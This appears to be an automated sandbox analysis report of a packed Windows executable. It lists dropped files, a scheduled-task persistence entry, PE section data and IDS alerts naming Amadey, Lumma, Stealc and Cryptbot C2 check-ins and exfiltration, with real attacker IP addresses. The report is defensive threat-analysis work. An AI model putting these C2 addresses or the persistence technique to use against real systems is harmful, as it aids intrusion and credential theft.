Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9930
Entropy (8bit):	5.529685648572859
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6uhj4qyaaX86KakfGNBw8dISl:de0quOcwV0
MD5:	258D31685CAD8B7BA7219361B3986E75
SHA1:	1F8DDAF5387F442A4BCFEE48E27397BA17207E63
SHA-256:	1CC0A8CAB24AC2EDB4213C8365E7A398CC1FE48950D9062CAF20149BE8F6F1B6
SHA-512:	4FE37C6B89CD847123EBFAD60DD53A1E11348A09981A53135D5FFC19304136C9B922EDDD8758ACBB3C1CC18E3FAF311974AB5F651A6F3B242F3D26F2E767AB0D
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9930
Entropy (8bit):	5.529685648572859
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6uhj4qyaaX86KakfGNBw8dISl:de0quOcwV0
MD5:	258D31685CAD8B7BA7219361B3986E75
SHA1:	1F8DDAF5387F442A4BCFEE48E27397BA17207E63
SHA-256:	1CC0A8CAB24AC2EDB4213C8365E7A398CC1FE48950D9062CAF20149BE8F6F1B6
SHA-512:	4FE37C6B89CD847123EBFAD60DD53A1E11348A09981A53135D5FFC19304136C9B922EDDD8758ACBB3C1CC18E3FAF311974AB5F651A6F3B242F3D26F2E767AB0D
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.136624295551173
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AY:Y9KQOy6Lb1BA+9
MD5:	EA8B62857DFDBD3D0BE7D7E4A954EC9A
SHA1:	B43BC4B3EA206A02EF8F63D5BFAD0C96BF2A3B2A
SHA-256:	792955295AE9C382986222C6731C5870BD0E921E7F7E34CC4615F5CD67F225DA
SHA-512:	076EE83534F42563046D25086166F82E1A3EC61840C113AEC67ABE2D8195DAA247D827D0C54E7E8F8A1BBF2D082A3763577587E84342EC160FF97905243E6D19
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4320858496205306
Encrypted:	false
SSDEEP:	6:bmuvVXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBzl9t0:vf2RKQ1CGAFAjzvYRQVBzDt0
MD5:	D370195CF00B0948DA18849385A555E3
SHA1:	1D981544C8017703BDB7F094DE64C20DEDF5D09D
SHA-256:	D962A29C0495CFFB9FE96641F455544F8E6D60A0D3229F83C025032E85855DFC
SHA-512:	EDBB981F2B5127B120C92C741950371FDD99693C13F25C27E3B7DA559754F782041E00F1ED0248DB93BB502B26CD0AE818B4D04A8698392308F51E1397425C6D
Malicious:	false
Preview:	......>Q.\|.B..~.z..uF.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950653148548105
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'920'512 bytes
MD5:	3dda196e23d46002e364e5cab7803f7a
SHA1:	fba9b6b66fb54d04d82b412e41c61051d72cdabb
SHA256:	8810efdced51fdea03108e8062441f480727460876660c86ef372a8f7ae5feb4
SHA512:	375396e79fe038f2c91422da9141c51f482b7c832c3e98dc3ebfc663cc42680af9d6c8d236a179c518951b5478c36cb0fce6cc69f43075b2985193ba827cf4da
SSDEEP:	49152:hWl8DpZssVM7EYHnwQyZ61IVlAwJMfwAJnkP1Gb0Iga:hsSbG7bHnlyZ61k2kNY
TLSH:	F99533733869C7B5D46A443FD29BB3642A009F8830EC555B7FA98850FD31071668BEEE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8c0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA67C8BF76Ah
cvttps2pi mm3, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4bee50	0x10	mtubkuce
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4bee00	0x18	mtubkuce
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	753c3ae58bbcb271c14adc315e7555eb	False	0.9983395776566758	data	7.985923989746153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x600	23f61aeefa7c3d30c07a21aa8f45e969	False	0.3053385416666667	data	5.28505835027857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b1000	0x200	93ca5b04e3b0518acf0c1a4ad1440f8b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mtubkuce	0x31c000	0x1a3000	0x1a3000	a81cae8851c4813ffb241b348c033405	False	0.9943987498135441	data	7.953925168272313	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fjbqbvbv	0x4bf000	0x1000	0x400	b1cc39494e881cfcf990b6975a628815	False	0.7861328125	data	6.086441320268345	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4c0000	0x3000	0x2200	7f89ad68cd818cf17cc64cfcb09ac84a	False	0.07892922794117647	DOS executable (COM)	0.9240873131820964	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x692c8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T03:21:05.399470+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49748	185.215.113.43	80	TCP
2024-11-23T03:21:09.957809+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	31.41.244.11	80	TCP
2024-11-23T03:21:19.730029+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49754	TCP
2024-11-23T03:21:21.150812+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49785	185.215.113.43	80	TCP
2024-11-23T03:21:22.828052+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49790	185.215.113.16	80	TCP
2024-11-23T03:21:29.829798+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49807	172.67.162.84	443	TCP
2024-11-23T03:21:29.905907+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49806	185.215.113.43	80	TCP
2024-11-23T03:21:30.552281+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49807	172.67.162.84	443	TCP
2024-11-23T03:21:30.552281+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49807	172.67.162.84	443	TCP
2024-11-23T03:21:31.412396+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49810	185.215.113.16	80	TCP
2024-11-23T03:21:31.870800+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49814	172.67.162.84	443	TCP
2024-11-23T03:21:32.976908+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49814	172.67.162.84	443	TCP
2024-11-23T03:21:32.976908+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49814	172.67.162.84	443	TCP
2024-11-23T03:21:34.645672+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49822	172.67.162.84	443	TCP
2024-11-23T03:21:37.292588+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49828	172.67.162.84	443	TCP
2024-11-23T03:21:39.108342+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49833	185.215.113.43	80	TCP
2024-11-23T03:21:39.793615+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49834	185.215.113.206	80	TCP
2024-11-23T03:21:40.433776+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49836	172.67.162.84	443	TCP
2024-11-23T03:21:40.681743+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49837	185.215.113.16	80	TCP
2024-11-23T03:21:42.514464+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49843	172.67.162.84	443	TCP
2024-11-23T03:21:43.640564+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49847	172.67.162.84	443	TCP
2024-11-23T03:21:43.717119+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49843	172.67.162.84	443	TCP
2024-11-23T03:21:43.717119+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49843	172.67.162.84	443	TCP
2024-11-23T03:21:45.213965+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49850	172.67.162.84	443	TCP
2024-11-23T03:21:46.059350+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49850	172.67.162.84	443	TCP
2024-11-23T03:21:46.059350+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49850	172.67.162.84	443	TCP
2024-11-23T03:21:46.768269+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49857	172.67.162.84	443	TCP
2024-11-23T03:21:46.772509+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49857	172.67.162.84	443	TCP
2024-11-23T03:21:46.862743+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49855	185.215.113.43	80	TCP
2024-11-23T03:21:47.761198+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49859	172.67.162.84	443	TCP
2024-11-23T03:21:48.408085+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49862	185.215.113.16	80	TCP
2024-11-23T03:21:48.617864+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49865	34.116.198.130	80	TCP
2024-11-23T03:21:50.325495+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49875	172.67.162.84	443	TCP
2024-11-23T03:21:50.479242+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49877	34.116.198.130	80	TCP
2024-11-23T03:21:51.311667+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49878	172.67.162.84	443	TCP
2024-11-23T03:21:52.057842+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49878	172.67.162.84	443	TCP
2024-11-23T03:21:52.057842+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49878	172.67.162.84	443	TCP
2024-11-23T03:21:53.283195+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49885	172.67.162.84	443	TCP
2024-11-23T03:21:53.535437+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49887	172.67.162.84	443	TCP
2024-11-23T03:21:53.612257+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49888	172.67.162.84	443	TCP
2024-11-23T03:21:54.281173+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49887	172.67.162.84	443	TCP
2024-11-23T03:21:54.281173+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49887	172.67.162.84	443	TCP
2024-11-23T03:21:54.350179+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49888	172.67.162.84	443	TCP
2024-11-23T03:21:55.859206+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49900	185.215.113.16	80	TCP
2024-11-23T03:21:57.747709+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49910	185.215.113.43	80	TCP
2024-11-23T03:21:59.280466+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49913	172.67.162.84	443	TCP
2024-11-23T03:21:59.984248+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49917	172.67.162.84	443	TCP
2024-11-23T03:22:02.778311+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49931	172.67.162.84	443	TCP
2024-11-23T03:22:03.488767+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49939	172.67.162.84	443	TCP
2024-11-23T03:22:03.743761+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49933	185.215.113.206	80	TCP
2024-11-23T03:22:03.876256+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49931	172.67.162.84	443	TCP
2024-11-23T03:22:05.149216+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49945	172.67.162.84	443	TCP
2024-11-23T03:22:05.886428+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49945	172.67.162.84	443	TCP
2024-11-23T03:22:07.010148+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49949	34.116.198.130	80	TCP
2024-11-23T03:22:07.398625+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49951	185.215.113.16	80	TCP
2024-11-23T03:22:08.486317+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49955	172.67.162.84	443	TCP
2024-11-23T03:22:17.747866+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49980	172.67.162.84	443	TCP
2024-11-23T03:22:18.498757+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49980	172.67.162.84	443	TCP
2024-11-23T03:22:21.204632+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49990	172.67.162.84	443	TCP
2024-11-23T03:22:24.841409+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50005	172.67.162.84	443	TCP
2024-11-23T03:22:25.609436+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50005	172.67.162.84	443	TCP
2024-11-23T03:22:27.188256+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50014	185.215.113.16	80	TCP
2024-11-23T03:23:33.119243+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50196	20.189.173.20	443	TCP
2024-11-23T03:24:53.650459+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50231	20.189.173.15	443	TCP
2024-11-23T03:26:06.060501+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50260	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 03:20:17.494565010 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:17.494626045 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:17.494750023 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:17.496598005 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:17.496613026 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:19.365673065 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:19.365842104 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:19.369086027 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:19.369108915 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:19.369330883 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:19.419657946 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:20.835190058 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:20.879329920 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:21.455645084 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:21.455667973 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:21.455674887 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:21.455724955 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:21.455753088 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:21.455810070 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:21.455820084 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:21.455831051 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:21.455847025 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:21.476528883 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:21.476603031 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:21.476610899 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:21.476620913 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:21.476667881 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:23.098603010 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:23.098639965 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:23.098655939 CET	49730	443	192.168.2.4	52.149.20.212
Nov 23, 2024 03:20:23.098664999 CET	443	49730	52.149.20.212	192.168.2.4
Nov 23, 2024 03:20:23.309675932 CET	49723	80	192.168.2.4	93.184.221.240
Nov 23, 2024 03:20:23.429704905 CET	80	49723	93.184.221.240	192.168.2.4
Nov 23, 2024 03:20:23.429874897 CET	49723	80	192.168.2.4	93.184.221.240
Nov 23, 2024 03:20:57.762758970 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:20:57.762833118 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:20:57.762928009 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:20:57.763288975 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:20:57.763340950 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:20:59.552426100 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:20:59.552546024 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:20:59.556821108 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:20:59.556853056 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:20:59.557252884 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:20:59.566363096 CET	49736	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:20:59.607377052 CET	443	49736	13.107.246.63	192.168.2.4
Nov 23, 2024 03:20:59.650346994 CET	49737	443	192.168.2.4	52.149.20.212
